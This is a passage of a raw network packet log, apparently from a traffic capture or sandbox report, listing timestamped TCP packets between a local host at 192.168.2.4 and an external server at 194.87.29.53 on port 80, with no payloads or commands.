Sep 27, 2024 18:29:06.401071072 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.401099920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.401109934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.401115894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.401118040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.401139021 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.401151896 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.401443958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.401493073 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.401495934 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.401504993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.401535988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.401544094 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.401555061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.401565075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.401575089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.401596069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.401606083 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.401612997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.401659966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.402686119 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.402762890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.402765036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.402772903 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.402785063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.402810097 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.402823925 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.402849913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.402858973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.402868986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.402878046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.402896881 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.402909040 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.403481960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.403532028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.403554916 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.403565884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.403574944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.403604984 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.403637886 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.403640985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.403650999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.403661966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.403671026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.403687000 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.403711081 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.480882883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.480899096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.480909109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.480912924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.480931997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.480942011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.480952024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.480951071 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.480961084 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.480986118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.481004953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.481008053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481050968 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.481074095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481084108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481112003 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.481123924 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.481165886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481177092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481187105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481200933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481229067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.481256008 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.481306076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481314898 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481323004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481333017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481343985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481389999 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.481435061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481473923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481484890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481522083 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.481946945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481976032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481983900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.481996059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.482026100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.482079029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.482089996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.482099056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.482110023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.482120991 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.482145071 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.482163906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.482177973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.482218027 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.482347012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.482378960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.482388020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.482393980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.482409954 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.482440948 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.482480049 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.482491016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.482522011 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.482534885 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.482541084 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.482557058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.482584953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.482598066 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.483205080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.483249903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.483249903 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.483262062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.483287096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.483299017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.483330011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.483338118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.483350039 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.483366013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.483416080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.483432055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.483441114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.483472109 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.483495951 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.483869076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.483906031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.483912945 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.483917952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.483946085 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.483958006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.484000921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.484011889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.484021902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.484031916 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.484042883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.484066010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.484091043 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.484128952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.484149933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.484179020 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.484195948 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.484198093 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.484205961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.484215021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.484235048 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.484246016 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.484262943 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.484302044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.484312057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.484321117 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.484329939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.484344006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.484357119 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.484379053 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.484972000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.484981060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.484989882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.485016108 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.485028982 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.485048056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.485059023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.485068083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.485088110 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.485111952 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.485143900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.485156059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.485187054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.485212088 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.485805035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.485843897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.485848904 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.485857010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.485888004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.485898018 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.485913992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.485924959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.485934973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.485958099 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.485981941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.485995054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.486005068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.486037970 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.486057043 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.486689091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.486733913 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.486735106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.486747026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.486776114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.486792088 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.486859083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.486869097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.486879110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.486888885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.486902952 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.486928940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.488173008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.488183975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.488194942 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.488219976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.488244057 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.488503933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.488512993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.488523006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.488533020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.488545895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.488570929 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.488594055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.488603115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.488615036 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.488627911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.488636017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.488640070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.488651037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.488661051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.488660097 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.488687992 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.488699913 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.488989115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.488998890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.489008904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.489033937 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.489059925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.489059925 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.489073992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.489085913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.489094973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.489095926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.489123106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.489146948 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.489788055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.489798069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.489808083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.489833117 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.489846945 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.489861012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.489871979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.489896059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.489921093 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.489939928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.489949942 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.489983082 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.489983082 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.490417004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.490467072 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.490477085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.490510941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.490516901 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.490552902 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.490556955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.490567923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.490576982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.490600109 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.490613937 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.490673065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.490684032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.490720034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.573013067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.573045969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.573055983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.573118925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.573128939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.573137999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.573148012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.573159933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.573242903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.573242903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.573242903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.573266983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.573276997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.573308945 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.573334932 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.573487997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.573498011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.573507071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.573518038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.573534012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.573555946 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.574723959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.574759960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.574769020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.574779034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.574803114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.574882984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.574892998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.574902058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.574912071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.574929953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.574954987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.574955940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.574997902 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.576757908 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.576792002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.576801062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.576809883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.576829910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.576843023 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.576843023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.576857090 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.576886892 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.576913118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.576980114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.577028036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.577038050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.577049017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.577086926 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.577148914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.577163935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.577173948 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.577183962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.577198982 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.577218056 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.577442884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.577452898 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.577464104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.577496052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.577507973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.579073906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.579085112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.579128027 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.579155922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.579166889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.579175949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.579185963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.579209089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.579227924 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.579237938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.579247952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.579292059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.579947948 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.579957008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.579993010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.579999924 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.580032110 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:06.580048084 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:06.580059052 CEST	80	60865	194.87.29.53	192.168.2.4
